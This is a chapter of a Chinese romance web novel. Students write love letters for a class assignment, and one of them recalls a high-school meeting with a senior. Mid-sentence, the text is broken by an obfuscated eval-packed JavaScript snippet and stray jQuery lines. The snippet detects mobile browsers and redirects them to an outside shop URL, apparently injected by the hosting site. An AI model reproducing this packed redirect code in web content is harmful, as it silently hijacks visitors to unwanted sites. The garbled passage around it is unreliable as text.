“好久不见，亲爱的同学们。”讲师走进教室，长发绾起，浅绿色碎花裙显得知性温婉。


    掌声四起，十分捧场。


    “哇，好香，谁在吃饭？”她慨叹一声，又拿出一个饭盒，歪头笑道，“我也有哦。”


    底下人起哄：“老师，是不是好事将近啊？”“到时候可别忘了请我们喝酒。”


    “这叫以身作则，你们也加把劲。”说完拿起一沓纸，分拣后放在每个人的桌上。


    “今天的随堂作业，写一封情书。”


    ……


    情书。


    这里的人一个个大学生起步，距流行这玩意的青葱岁月不知隔了多远。让成年人写情书不亚于送小学生去中考，谁听了都是满脸黑线。


    “抒发情感是恋爱中重要的一步，这部情书不限定形式，可以写给现在的恋爱对象、暧昧对象、怀念对象，或者学生时代暗恋过的学长学姐，甚至可以是虚构的人物，都没关系。”


    有人开了个地狱玩笑：“老师您是中文系毕业的吧。”


    有几个中年人挠了挠头，面如菜色。


    在一片连绵起伏的“我不要”“我不行”“太肉麻”“太尴尬”中，钞能力结束了一切。


    “成品由多方评选，会选出一封最受欢迎情书奖，我自掏腰包，奖励两千元！”


    没有人会和钱过不去，羞耻感一扫而空。


    高明叫住讲师，卖了波惨：“您让我们理科生很为难啊，降低点要求呗～”


    讲师早料到了这派说辞，官方道：“情感真挚便好。”


    刘子芸想起什么，拽过高明的衣袖：“你不是学服设的吗，哪里是理科生了？”


    “高一时学过一年。”高明一脸无辜。


    刘子芸：“……”


    讲师路过最后一排，见周时屿已经在信纸上写下“致姜知”。别人质疑时他就开始构思，但现在也只有这三个字。


    真正的理工男已经在努力了。讲师笑笑，走过去拍拍他的肩：“写你真正想写的。”


    周时屿颔首，笔轻搭在指尖，碰到刀口时隐隐作痛。他把视线放低一些，偷偷去注视前几排伏案的女生，马尾搭在她的肩上。


    雨砸在房檐上，落进耳中。


    雨和情思向来相伴相生，本该是情感的催化。有一回，姜知在他怀里红着眼说不想吃饭，别逼我吃饭。她连着一天没进食，周时屿担心得难以复加，问为什么。她翻了个身，说了原因：“因为雨不停，很吵。”


    突然有了灵感。


    没写几个字，手指有些受不了，他歇了一会。


    前排人窃窃私语：


    “ai一篇不就行了？谁认真写这玩意？”


    “当他们那么多人全傻子，分不出来ai？”


    “评判标准到底是啥，能不能给个准话！”


    平头男打个响指：“我花一杯奶茶钱向我妹买了封真的情书，所谓‘养妹千日用妹一时’。”


    “她能答应把写的情书给你？”


    “当然是她收到的。”


    那人笑道：“缺德啊。”


    旁边的旁边，高明凑过去，对刘子芸笑了笑：“我要开始拼好书了，祝我好运。”


    刘子芸也在翻资料：“祝你好运，理科生。”


    总之，颇有为了两千块豁出去的架势。


    一阵短暂的吵闹过后，教室内竟奇迹般安静下来，几十个人纷纷动笔，笔尖摩擦带来沙沙声，和窗外的雨声相呼应。


    良久过去，书写声未停。


    -


    雨势狂躁，冲刷着地面，空气里也冒着潮湿的气味。


    姜知其实想到了很多。


    最后落笔时，还是将起始点往前推移一点，再一点。


    无人可以提起的，他们真正的第一次见面。


    粉白色桌面变成泛黄的木制桌，她从堆积成山的试卷中抬起头，丸子头同桌的脸上仍然带着两个酒窝，像夏日里最甜的冰淇淋。


    “姜知，姜知，体育课我们溜去高三的动员大会吧，上届毕业的学长会来！”


    “哦，那怎么了？”姜知不想去，她打算回教室里刷题。


    “所以呀，所以……周时屿也会来。”


    在一中学生的眼里，“学长”和“周时屿”并不是同一种分类。同桌脸上的红晕压不住，姜知透过时光，看见最纯粹的十七岁。


    虽然高中时姜知对周时屿的兴趣不大，但耐不住同桌的兴趣太大，嚷嚷着她补基础知识绷得太紧，不如看帅哥放松下，最后姜知妥协了。


    两个高二的女生，做贼一样，鬼鬼祟祟地混进高考生的队伍里。


    “好帅啊，我不行了，”同桌猛拍她的手，摸到一枝笔，“不是吧，你还在写卷子呢？简直比高三还高三！”


    没错，姜知还是拿上了笔记和试卷，闲里偷忙地刷题，翻笔记，她没注意台上说了什么。反正就那么回事呗，大学，职业，未来，学长和老师装模作样地发几句言。对她而言放松的缘由最多是，周时屿的声音很好听，简洁利落，咬字清晰。到了提问环节，他从容不迫地回答，还被要求现场做了一道物理压轴题。


    直到——


    “学长，你有女朋友了吗？”


    “我靠！”同桌发出惊呼，不只有她，整个礼堂都是，底下传来阵阵骚动。


    不是哪个不要命当校领导面找死的迷妹，而是角落里吊儿郎当的身影，没穿校服，头染黄毛，右耳挂着一个耳钉。


    “给我们一点上大学的动力啊，不是动员会吗？”他大声吆喝，在领导指令到来之前迅速直入主题。


    “那换个问题，听说你根本没上Q大？貌似是被拒收了？一中宣传那么久结果只是h大，你好意思站上面吗？”


    被找茬了。很显然。是不是该感叹人类都具有好奇心，连姜知都放下解了一半的函数，替台上人捏了把汗。


    台上的人一言不发，神色淡然而冰冷。他动动唇，刚想回答，地中海的教导主任抢先对着黄毛一顿痛骂，将之轰出礼堂。


    姜知就是在那时候记住一句话。


    “我在这里动员，不是说就要成为我这样的人，你们当然，会有更好的未来。”


    -


    人群散场。前面那道三角函数没解开，姜知很烦闷，和同伴说我解完再走，对方就挥挥手说那我先去操场啦。


    神情执拗的少女在上锁礼堂的门口大战三角函数，在木桌上趴着解题，腰椎发出了抗议，一直被卡在思路的第一步。


    一个熟悉的声音从身旁响起，“这本笔记……”


    是刚刚宣讲台上的人，姜知迅速把笔换了个方向，掌心贴着圆珠笔的软处：“沈老师给我的，他说你不要了，不是我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17011826|193783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    偷的。”


    一颗心紧张得冒汗，她不想被当成变态啊，不想！


    周时屿没有说话。


    而姜知也没有再说话了。说起来很丢脸，她是看呆了。日光勾勒出挺括的身形、优越的五官，近距离看完全是另一种冲击力，她似乎能共情同桌的激动了——这一刻开始。


    她看着他一页页地翻过去，眼里闪过类似怀念的情绪，一瞬间收敛，看向她时重归平静：


    “给你。”


    微风是和煦的，吹在身上微微发凉，阳光却是微烫的，照得肌肤底下有点隐隐作热。


    周时屿转身离开，刚迈出了几步。


    “学长你……”你刚刚到底想说什么。她咽下疑问，意识到有点唐突，换成了：“能教我这道三角函数题吗？”


    周时屿走近，很迅速地扫过一眼，带起一阵不强烈的风，“笔记上有，第二十三页。”


    还真是高冷。姜知“嗯”一声，明知掌握方法更有利于学科成绩，但为什么会有点失望，她泄下气来。


    “高考加油。”他很轻微地提了下嘴角，然后转身，彻底消失在转角。


    “姜知？我靠啊你们认识？！”丸子头同桌姗姗来迟，难以相信看见了什么。


    “不认识。”姜知摇摇头，和她一起走回了教室。


    姜知尚不知道什么是“心动”，但她知道什么是“好奇”，自那之后，她有了一个非常想要了解的人，像三月的新绿，被阳光照过。


    最后亮在大屏幕上的，是一封匿名书信。笔迹隽秀，一笔一划极为端正。


    题目叫作“青春里住过的人”。


    -


    教室一时鸦雀无声。


    “弄了半天选个匿名出来，就是不想给呗？”


    “才不是，”讲师否认，“这位同学课后可以找我领取，你真挚的抒发打动了每一位评委哦。”


    这么多年过去，关于周时屿是否还记得她的笔迹，姜知不能确定。但想起过去热烈的自己，她仍然想替自己抒发，没什么好掩饰。


    ……也只是过去而已。


    刘子芸的声音穿过记忆云层：“这是什么绝美校园爱情！为什么我大学里没有这样的学长！”


    姜知提醒：“你仔细想想呢。”


    刘子芸想了又想，直到姜知用小臂指向后面谈笑风生的卷毛，她翻个白眼：“高明？我要吐了。”


    姜知笑起来，视线却肌肉记忆一般地定位在教室的另一侧。


    事实上，她尽收眼底。他是怎样写几个字歇一下，指节连弯曲都困难，又是怎样拿着将近写了一面的A4纸走上讲台。


    想走过去问一句你手怎么样了。但这不是废话吗？他最多回个没事，没事还贴什么创口贴，连最宝贝的戒指都不戴了。


    她招呼着高明和刘子芸走近，三人围成一个隐秘的圈。


    “怎么了姜知姐？”


    姜知轻咳一声：“上次测验之后，你们是不是又坑了我一回。”


    高明和刘子芸对视一眼，想起这茬，立刻道歉：“我们错了。”


    刘子芸双手合十，表情诚恳：“需要怎么赎罪，任你差遣。”


    “那帮我一个忙。”


    高明抬起下巴，示意她继续。


    姜知侧过头，静默了半晌，才别扭道：“你去问问周时屿，他手怎么样了。”